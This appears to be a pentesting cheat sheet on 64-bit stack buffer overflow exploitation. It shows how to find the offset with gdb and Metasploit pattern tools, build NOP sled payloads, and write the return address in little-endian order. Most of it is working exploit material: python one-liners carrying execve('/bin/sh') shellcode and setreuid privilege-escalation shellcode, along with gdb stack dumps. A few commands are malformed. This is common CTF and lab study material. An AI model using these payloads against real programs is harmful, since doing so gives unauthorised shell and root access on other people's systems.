# Return Address reuse ## via Shellcode, an examples * Find out the address of the start of the buffer and the start address of the return address * Calculate the difference between these addresses so you know how much data to enter to overflow * Start out by entering the shellcode in the buffer, entering random data between the shellcode and the return address, and the address of the buffer in the return address * Plus NOPsled (sometimes xargs is needed in front of the app call) ```python python -c "print('\x90' * 30 +'\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05'+ '\x41' * 60 + '\xef\xbe\xad\xde')" | xargs ./buffer-overflow ``` ## Finding Offset ### via gdb segfault output * 64 bit addresses use 6 out of 8 byte for addresses. ```sh gdb ./application run $(python -c "print('\x41' * 180)") ``` * Return address hit completely when 6 bytes are filled. ```sh Program received signal SIGSEGV, Segmentation fault. 0x0000414141414141 in copy_arg () ``` * Buffer = measured_length - (`$rbp` + 6 bytes return address) ### via metasploit ```sh /opt/metasploit/tools/exploit/pattern_create.rb -l 180 ``` * Looking for `rbp` Content in front of the return address to measure offset ```sh (gdb) i r [...] rbp 0x 0x [...] ``` * Measure offset ```sh pt/metasploit/tools/exploit/pattern_offset -l 180 -q ``` ## Crafting Payload * Contains Junk/NOPslice + shellcode + Junk over rbp + return address * Inside gdb ```sh run $(python -c "print('A' * 100 + + 'A' * 12 + 'B' * 6)") ``` * Check actual stack ```sh (gdb) x/100x $rsp-200 0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff 0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff 0x7fffffffe248: 0xffffe64d 0x00007fff 0x41414141 0x41414141 0x7fffffffe258: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe268: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe278: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe288: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe298: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe2a8: 0x41414141 0x41414141 0x41414141 0x48583b6a 0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149 [...] ``` * Shellcode starts at `0x7fffffffe2b8 - 4 bytes = 0x7fffffffe2b4`. ## NopSled * Prepend **nopsled** instead of `A` and pick an address inside as the future return address, for example `0x7fffffffe2a8`. ```sh (gdb) x/100x $rsp-200 0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff 0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff 0x7fffffffe248: 0xffffe64d 0x00007fff 0x90909090 0x90909090 0x7fffffffe258: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffe268: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffe278: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffe288: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffe298: 0x90909090 0x90909090 0x90909090 0x90909090 0x7fffffffe2a8: 0x90909090 0x90909090 0x90909090 0x48583b6a 0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149 ``` * Convert return address to little endian `0x7fffffffe2a8` -> `\xa8\xe2\xff\xff\xff\x7f` and put it inside the return address ```sh run $(python -c "print('\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'\xa8\xe2\xff\xff\xff\x7f')") ``` ## setuid() and setreuid() * Shellcode needs `setuid(0)` for effective root uid or the equivalent id of the account needed. * `/bin/sh` checks real uid not effective uid * ./shellcodes/setuid_shell.as ### setreuid() in assembler * [Linux Syscall Table](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/) * `setreuid(1002,1002)` sets the __real__ uid inside the shell to 1002. * `setreuid()` has `rax` number `\x71` (`113` dec). Args are stored in `rdi` and `rsi`. * ./shellcode/setreuid_shell.as ```sh "\x48\x31\xFF\x48\x31\xC0\x48\x31\xF6\x66\xBE\xEA\x03\x66\xBF\xEA\x03\xB0\x71\x0F\x05\x48\x31\xD2\x48\xBB\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEB\x08\x53\x48\x89\xE7\x48\x31\xC0\x50\x57\x48\x89\xE6\xB0\x3B\x0F\x05\x6A\x01\x5F\x6A\x3C\x58\x0F\x05" ``` * Convert to hex output via [Defuse](https://defuse.ca/online-x86-assembler.htm) ### setreuid() in shellcode using pwntools * Shellcraft builds a shellcode containing `setreuid()`, without any parameter given the real uid to the file owner. ```sh * [Linux Syscall Table](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/) shellcraft -f d amd64.linux.setreuid ``` * The uid can be set as an argument ```sh shellcraft -f d amd64.linux.setreuid ``` * Prepend this in front of the existing shellcode like this ```sh run $(python -c "print('\x90' * 99 + '\x6a\x6b\x58\x0f\x05\x48\x89\xc7\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'B' * 8 + '\x88\xe2\xff\xff\xff\x7f')") ``` * Where the existing shellcode is the following ```sh \x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05 ``` * Setreuid part is the following ```sh \x6a\x6b\x58\x0f\x05\x48\x89\xc7\x6a\x71\x58\x48\x89\xfe\x0f\x05 ```